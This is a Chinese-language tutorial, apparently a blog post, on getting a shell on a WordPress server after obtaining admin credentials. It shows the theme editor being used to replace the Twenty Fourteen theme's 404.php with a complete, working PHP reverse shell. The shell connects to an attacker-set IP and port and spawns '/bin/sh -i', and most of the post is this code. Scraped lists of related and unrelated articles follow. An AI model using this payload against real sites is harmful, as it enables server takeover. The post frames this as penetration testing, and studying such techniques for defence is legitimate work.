Wordpress是全球流行的博客网站,全球有上百万人使用它来搭建博客。他使用PHP脚本和Mysql数据库来搭建网站。

那么,如果当我们在渗透测试过程中获得到了别人Wordpress的账号和密码之后,如何才能拿到该服务器的shell呢?

我们可以利用Wordpress主题编辑的功能,在主题的页面中插入我们构造的恶意的php代码,来获得服务器的shell。

具体实施过程如下:

我们点击   Appearance——>Editor

我们这里第一步随便选一个主题,我这里选的是 Twenty Fourteen,然后点击 Select 选择这个,然后点击404页面这里。意思就是去编辑Twenty Fourteen 的404页面。我们最好是选择编辑404页面,因为404页面我们插入恶意代码对该文件不会有影响。如果是其他文件的话,有可能会导致主题不能安装

然后将我们的恶意代码替换掉404页面原来的代码。这是一个利用php写的端口转发的工具,只要我们访问了该文件,他就会向指定主机的指定端口发送反弹shell。

  1. #利用php反弹shell
  2. <?php
  3. set_time_limit (0);
  4. $VERSION = "1.0";
  5. $ip = '192.168.10.27'; // 修改成你的主机
  6. $port = 1234; // 修改成你的端口
  7. $chunk_size = 1400;
  8. $write_a = null;
  9. $error_a = null;
  10. $shell = 'uname -a; w; id; /bin/sh -i';
  11. $daemon = 0;
  12. $debug = 0;
  13. if (function_exists('pcntl_fork')) {
  14. // Fork and have the parent process exit
  15. $pid = pcntl_fork();
  16. if ($pid == -1) {
  17. printit("ERROR: Can't fork");
  18. exit(1);
  19. }
  20. if ($pid) {
  21. exit(0); // Parent exits
  22. }
  23. if (posix_setsid() == -1) {
  24. printit("Error: Can't setsid()");
  25. exit(1);
  26. }
  27. $daemon = 1;
  28. } else {
  29. printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
  30. }
  31. chdir("/");
  32. umask(0);
  33. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  34. if (!$sock) {
  35. printit("$errstr ($errno)");
  36. exit(1);
  37. }
  38. // Spawn shell process
  39. $descriptorspec = array(
  40. 0 => array("pipe", "r"), // stdin is a pipe that the child will read from
  41. 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
  42. 2 => array("pipe", "w") // stderr is a pipe that the child will write to
  43. );
  44. $process = proc_open($shell, $descriptorspec, $pipes);
  45. if (!is_resource($process)) {
  46. printit("ERROR: Can't spawn shell");
  47. exit(1);
  48. }
  49. stream_set_blocking($pipes[0], 0);
  50. stream_set_blocking($pipes[1], 0);
  51. stream_set_blocking($pipes[2], 0);
  52. stream_set_blocking($sock, 0);
  53. printit("Successfully opened reverse shell to $ip:$port");
  54. while (1) {
  55. // Check for end of TCP connection
  56. if (feof($sock)) {
  57. printit("ERROR: Shell connection terminated");
  58. break;
  59. }
  60. // Check for end of STDOUT
  61. if (feof($pipes[1])) {
  62. printit("ERROR: Shell process terminated");
  63. break;
  64. }
  65. $read_a = array($sock, $pipes[1], $pipes[2]);
  66. $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  67. if (in_array($sock, $read_a)) {
  68. if ($debug) printit("SOCK READ");
  69. $input = fread($sock, $chunk_size);
  70. if ($debug) printit("SOCK: $input");
  71. fwrite($pipes[0], $input);
  72. }
  73. if (in_array($pipes[1], $read_a)) {
  74. if ($debug) printit("STDOUT READ");
  75. $input = fread($pipes[1], $chunk_size);
  76. if ($debug) printit("STDOUT: $input");
  77. fwrite($sock, $input);
  78. }
  79. if (in_array($pipes[2], $read_a)) {
  80. if ($debug) printit("STDERR READ");
  81. $input = fread($pipes[2], $chunk_size);
  82. if ($debug) printit("STDERR: $input");
  83. fwrite($sock, $input);
  84. }
  85. }
  86. fclose($sock);
  87. fclose($pipes[0]);
  88. fclose($pipes[1]);
  89. fclose($pipes[2]);
  90. proc_close($process);
  91. function printit ($string) {
  92. if (!$daemon) {
  93. print "$string\n";
  94. }
  95. }
  96. ?>

恶意代码替换完成之后,我们点击 Update File 更新文件。

 我们可以看到文件更新成功,我们记住url 这里这个主题的名字

然后我们访问该主题下的404.php页面:http://192.168.10.30/backup_wordpress/wp-content/themes/twentyfourteen/404.php,同时,我们主机监听相应的端口。可以看到,我们已经得到shelll了。

Wordpress主题编辑器漏洞复现的更多相关文章

  1. 修复wordpress插件编辑器漏洞

    具体方法,将下面的代码添加到您的配置文件 wp-config.php中: define( 'DISALLOW_FILE_EDIT', true ); 以此关闭插件编辑器功能,一切就这么简单,漏洞也就不 ...

  2. 【漏洞复现】CVE-2022–21661 WordPress核心框架WP_Query SQL注入漏洞原理分析与复现

    影响版本 wordpress < 5.8.3 分析 参考:https://blog.csdn.net/qq_46717339/article/details/122431779 在 5.8.3 ...

  3. CVE-2019-17671:Wordpress未授权访问漏洞复现

    0x00 简介 WordPress是一款个人博客系统,并逐步演化成一款内容管理系统软件,它是使用PHP语言和MySQL数据库开发的,用户可以在支持 PHP 和 MySQL数据库的服务器上使用自己的博客 ...

  4. Wordpress4.9.6 任意文件删除漏洞复现分析

    第一章 漏洞简介及危害分析 1.1漏洞介绍 WordPress可以说是当今最受欢迎的(我想说没有之一)基于PHP的开源CMS,其目前的全球用户高达数百万,并拥有超过4600万次的超高下载量.它是一个开 ...

  5. 不使用插件实现对WordPress默认编辑器的增强

    四处寻觅无果.无意看了一下wordpress官方的API函数.苍天有眼啊!原来,后台的编辑器可以插入很多增强功能.果断卸载掉CK and SyntaxHighlighter编辑器插件.事实上,Word ...

  6. (视频) 《快速创建网站》3.4 网站改版3分钟搞定 - WordPress主题安装和备份

    本文是<快速创建网站>系列的第8篇,如果你还没有看过之前的内容,建议你点击以下目录中的章节先阅读其他内容再回到本文. 访问本系列目录,请点击:http://devopshub.cn/tag ...

  7. 20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复

    20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复 加分项目: PC平台逆向破解:注入shellco ...

  8. [漏洞复现] CVE-2017-11882 通杀所有Office版本

    此漏洞是由Office软件里面的 [公式编辑器] 造成的,由于编辑器进程没有对名称长度进行校验,导致缓冲区溢出,攻击者通过构造特殊的字符,可以实现任意代码执行. 举个例子,如果黑客利用这个漏洞,构造带 ...

  9. 新手 WordPress主题制作全过程

    WordPress主题制作全过程(一):基础准备 前言: 我想大多数使用WordPress的朋友都喜欢去尝试新的主题,但是换来换去,总是找不到那么一款适合自己的,让人很郁闷.于是很多人萌生了修改现有主 ...

随机推荐

  1. 基于4H-SIC的先进集成电路用n型LDMOS晶体管

    基于4H-SIC的先进集成电路用n型LDMOS晶体管 摘要: 通过对具有不同的设计方式的具有减小的表面电场的横向4H-SIC-N型-横向扩散金属氧化物半导体(LDMOS)晶体管进行测量和模拟,得到了得 ...

  2. Python——input与raw_input的区别

      区别一: raw_input():python2版本 input():python3版本 区别二: raw_input()不管是输数字还是字符串,结果都会以字符串的形式展现出来 input()则是 ...

  3. FreeBSD ibus输入法框架配置

    FreeBSD ibus输入法框架配置 ibus输入法框架配置.xinitrc中增加XIM=ibus; export XIMGTK_IM_MODULE=ibus; export GTK_IM_MODU ...

  4. WPF 基础 - 事件

    1. 前言 WPF 事件的路由环境是 UI 组件树,先来看看这棵树. 1.1 Logical Tree 和 Visual Tree WPF 中的树有两种,一颗是逻辑树,另一颗也是逻辑树. 开玩笑,WP ...

  5. BeetleX使用bootstrap5开发SPA应用

        在早期版本BeetleX.WebFamily只提供了vuejs+element的集成,由于element只适合PC管理应用开发相对于移动应用适配则没这么方便.在新版本组件集成了bootstra ...

  6. 热门跨平台方案对比:WEEX、React Native、Flutter和PWA

    本文主要对WEEX.React Native.Flutter和PWA几大热门跨平台方案进行简单的介绍和对比.内容选自<WEEX跨平台开发实战> (WEEX项目负责人力荐,从入门到实战,教你 ...

  7. 2019看雪CTF 晋级赛Q2第四题wp

    上次参加2019看雪CTF 晋级赛Q2卡在了这道题上,虽然逆出算法,但是方程不会解,哈哈哈哈,果然数学知识很重要呀,现在记录一下. 首先根据关键信息,根据错误提示字符串定位到这里: 1 int __t ...

  8. ARFoundation - touch point坐标点测试

    ARFoundation - touch point坐标点测试 本文目的是为了看一下Android手机上touch之后,对应的点相关信息,主要包括: 点的屏幕坐标,以左下角为原点: 点的viewpor ...

  9. [Fundamental of Power Electronics]-PART II-7. 交流等效电路建模-7.2 基本交流建模方法

    7.2 基本交流建模方法 在本节中,PWM变换器的交流小信号模型导出步骤将被推导和解释.关键步骤是:(a)利用小纹波近似的动态版本,建立了与电感和电容波形的低频平均值相关的方程式,(b)平均方程的扰动 ...

  10. java面试-内存分配与回收策略

    1.对象优先在Eden分配 -Xms20M -Xmx20M java堆的大小20M -Xmn10M 新生代10M 老年代10M -XX:SurvivorRatio=8 新生代Eden与一个Surviv ...